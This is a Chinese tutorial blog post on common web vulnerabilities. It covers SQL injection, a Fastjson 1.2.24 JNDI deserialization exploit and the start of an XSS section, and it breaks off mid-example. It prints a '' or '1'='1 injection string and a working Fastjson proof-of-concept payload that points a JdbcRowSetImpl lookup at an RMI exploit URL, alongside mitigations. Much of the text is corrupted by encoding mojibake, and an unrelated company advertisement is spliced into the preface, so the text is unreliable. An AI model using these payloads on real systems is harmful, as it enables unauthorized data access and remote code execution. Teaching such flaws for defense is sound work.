新聞中心
前言
我們?nèi)粘i_發(fā)中,很多小伙伴容易忽視安全漏洞問題,認(rèn)為只要正常實(shí)現(xiàn)業(yè)務(wù)邏輯就可以了。其實(shí),安全性才是最重要的。本文將跟大家一起學(xué)習(xí)常見的安全漏洞問題,希望對(duì)大家有幫助哈。如果本文有什么錯(cuò)誤的話,希望大家提出哈,感謝感謝~

創(chuàng)新互聯(lián)建站是一家專注網(wǎng)站建設(shè)、網(wǎng)絡(luò)營(yíng)銷策劃、成都微信小程序、電子商務(wù)建設(shè)、網(wǎng)絡(luò)推廣、移動(dòng)互聯(lián)開發(fā)、研究、服務(wù)為一體的技術(shù)型公司。公司成立十多年以來,已經(jīng)為1000多家水電改造各業(yè)的企業(yè)公司提供互聯(lián)網(wǎng)服務(wù)?,F(xiàn)在,服務(wù)的1000多家客戶與我們一路同行,見證我們的成長(zhǎng);未來,我們一起分享成功的喜悅。
1. SQL 注入
1.1 什么是SQL注入?
SQL注入是一種代碼注入技術(shù),一般被應(yīng)用于攻擊web應(yīng)用程序。它通過在web應(yīng)用接口傳入一些特殊參數(shù)字符,來欺騙應(yīng)用服務(wù)器,執(zhí)行惡意的SQL命令,以達(dá)到非法獲取系統(tǒng)信息的目的。它目前是黑客對(duì)數(shù)據(jù)庫(kù)進(jìn)行攻擊的最常用手段之一。
1.2 SQL注入是如何攻擊的?
舉個(gè)常見的業(yè)務(wù)場(chǎng)景:在web表單搜索框輸入員工名字,然后后臺(tái)查詢出對(duì)應(yīng)名字的員工。
這種場(chǎng)景下,一般都是前端頁(yè)面把一個(gè)名字參數(shù)name傳到后臺(tái),然后后臺(tái)通過SQL把結(jié)果查詢出來
- name = "田螺"; //前端傳過來的
- SQL= "select * from staff where name=" + name; //根據(jù)前端傳過來的name參數(shù),查詢數(shù)據(jù)庫(kù)員工表staff
因?yàn)镾QL是直接拼接的,如果我們完全信任前端傳的參數(shù)的話。假如前端傳這么一個(gè)參數(shù)時(shí)'' or '1'='1',SQL就變成醬紫的啦。
- select * from staff where name='' or '1'='1';
這個(gè)SQL會(huì)把所有的員工信息全都查出來了,醬紫請(qǐng)求用戶已經(jīng)越權(quán)啦。請(qǐng)求者可以獲取所有員工的信息,其他用戶信息已經(jīng)暴露了啦。
1.3 如何預(yù)防SQL注入問題
1.3.1 使用#{}而不是${}
在MyBatis中,使用#{}而不是${},可以很大程度防止sql注入。
- 因?yàn)?{}是一個(gè)參數(shù)占位符,對(duì)于字符串類型,會(huì)自動(dòng)加上"",其他類型不加。由于Mybatis采用預(yù)編譯,其后的參數(shù)不會(huì)再進(jìn)行SQL編譯,所以一定程度上防止SQL注入。
- ${}是一個(gè)簡(jiǎn)單的字符串替換,字符串是什么,就會(huì)解析成什么,存在SQL注入風(fēng)險(xiǎn)
1.3.2 不要暴露一些不必要的日志或者安全信息,比如避免直接響應(yīng)一些sql異常信息。
如果SQL發(fā)生異常了,不要把這些信息暴露響應(yīng)給用戶,可以自定義異常進(jìn)行響應(yīng)
1.3.3 不相信任何外部輸入?yún)?shù),過濾參數(shù)中含有的一些數(shù)據(jù)庫(kù)關(guān)鍵詞關(guān)鍵詞
可以加個(gè)參數(shù)校驗(yàn)過濾的方法,過濾union,or等數(shù)據(jù)庫(kù)關(guān)鍵詞
1.3.4 適當(dāng)?shù)臋?quán)限控制
在你查詢信息時(shí),先校驗(yàn)下當(dāng)前用戶是否有這個(gè)權(quán)限。比如說,實(shí)現(xiàn)代碼的時(shí)候,可以讓用戶多傳一個(gè)企業(yè)Id什么的,或者獲取當(dāng)前用戶的session信息等,在查詢前,先校驗(yàn)一下當(dāng)前用戶是否是這個(gè)企業(yè)下的等等,是的話才有這個(gè)查詢員工的權(quán)限。
2. JSON反序列化漏洞——如Fastjson安全漏洞
2.1 什么是JSON序列化,JSON發(fā)序列化
- 序列化:把對(duì)象轉(zhuǎn)換為字節(jié)序列的過程
- 反序列:把字節(jié)序列恢復(fù)為Java對(duì)象的過程
Json序列化就是將對(duì)象轉(zhuǎn)換成Json格式的字符串,JSON反序列化就是Json串轉(zhuǎn)換成對(duì)象
2.2 JSON 反序列化漏洞是如何被攻擊?
不安全的反序列化可以導(dǎo)致遠(yuǎn)程代碼執(zhí)行、重放攻擊、注入攻擊或特權(quán)升級(jí)攻擊。之前Fastjson頻繁爆出安全漏洞,我們現(xiàn)在分析fastjson 1.2.24版本的一個(gè)反序列化漏洞吧,這個(gè)漏洞比較常見的利用手法就是通過jndi注入的方式實(shí)現(xiàn)RCE。
我們先來看fastjson一個(gè)反序列化的簡(jiǎn)單例子:
- public class User {
- private String name;
- private int age;
- public String getName() {
- return name;
- }
- public void setName(String name) {
- System.out.println("調(diào)用了name方法");
- this.name = name;
- }
- public int getAge() {
- return age;
- }
- public void setAge(int age) {
- System.out.println("調(diào)用了age方法");
- this.age = age;
- }
- public static void main(String[] args) {
- String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"撿田螺的小男孩\"}";
- User user = JSON.parseObject(str,User.class);
- }
- }
運(yùn)行結(jié)果:
- 調(diào)用了age方法
- 調(diào)用了name方法
加了@type屬性就能調(diào)用對(duì)應(yīng)對(duì)象的setXXX方法,而@type表示指定反序列化成某個(gè)類。如果我們能夠找到一個(gè)類,而這個(gè)類的某個(gè)setXXX方法中通過我們的精心構(gòu)造能夠完成命令執(zhí)行,即可達(dá)到攻擊的目的啦。
com.sun.rowset.JdbcRowSetImpl 就是類似這么一個(gè)類,它有兩個(gè)set方法,分別是setAutoCommit和setDataSourceName”
有興趣的小伙伴,可以看下它的源代碼
- public void setDataSourceName(String var1) throws SQLException {
- if (this.getDataSourceName() != null) {
- if (!this.getDataSourceName().equals(var1)) {
- super.setDataSourceName(var1);
- this.conn = null;
- this.ps = null;
- this.rs = null;
- }
- } else {
- super.setDataSourceName(var1);
- }
- }
- public void setAutoCommit(boolean var1) throws SQLException {
- if (this.conn != null) {
- this.conn.setAutoCommit(var1);
- } else {
- this.conn = this.connect();
- this.conn.setAutoCommit(var1);
- }
- }
- private Connection connect() throws SQLException {
- if (this.conn != null) {
- return this.conn;
- } else if (this.getDataSourceName() != null) {
- try {
- InitialContext var1 = new InitialContext();
- DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
- return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
- } catch (NamingException var3) {
- throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
- }
- } else {
- return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
- }
- }
setDataSourceName 簡(jiǎn)單設(shè)置了設(shè)置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法調(diào)用,參數(shù)剛好就是在setDataSourceName中設(shè)置的dataSourceName。
因此,有漏洞的反序列代碼實(shí)現(xiàn)如下即可:
- public class FastjsonTest {
- public static void main(String[] argv){
- testJdbcRowSetImpl();
- }
- public static void testJdbcRowSetImpl(){
- //JDK 8u121以后版本需要設(shè)置改系統(tǒng)變量
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
- //RMI
- String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
- " \"autoCommit\":true}";
- JSONObject.parseObject(payload2);
- }
- }
漏洞復(fù)現(xiàn)的流程如下哈:
參考的代碼來源這里哈,fastjson漏洞代碼測(cè)試(https://github.com/earayu/fastjson_jndi_poc)
如何解決json反序列化漏洞問題
可以升級(jí)版本,比如fastjson后面版本,增強(qiáng)AutoType打開時(shí)的安全性 fastjson,增加了AutoType黑名單等等,都是為了應(yīng)對(duì)這些安全漏洞。
反序列化有fastjson、gson、jackson等等類型,可以替換其他類型。
升級(jí)+打開safemode
3. XSS 攻擊
3.1 什么是XSS?
XSS 攻擊全稱跨站腳本攻擊(Cross-Site Scripting),這會(huì)與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,因此有人將跨站腳本攻擊縮寫為XSS。它指的是惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的特殊目的。XSS攻擊一般分三種類型:存儲(chǔ)型 、反射型 、DOM型XSS”
3.2 XSS是如何攻擊的?
拿反射型舉個(gè)例子吧,流程圖如下:
我們搞點(diǎn)簡(jiǎn)單代碼樣例吧,首先正常html頁(yè)面如下:


咨詢
建站咨詢
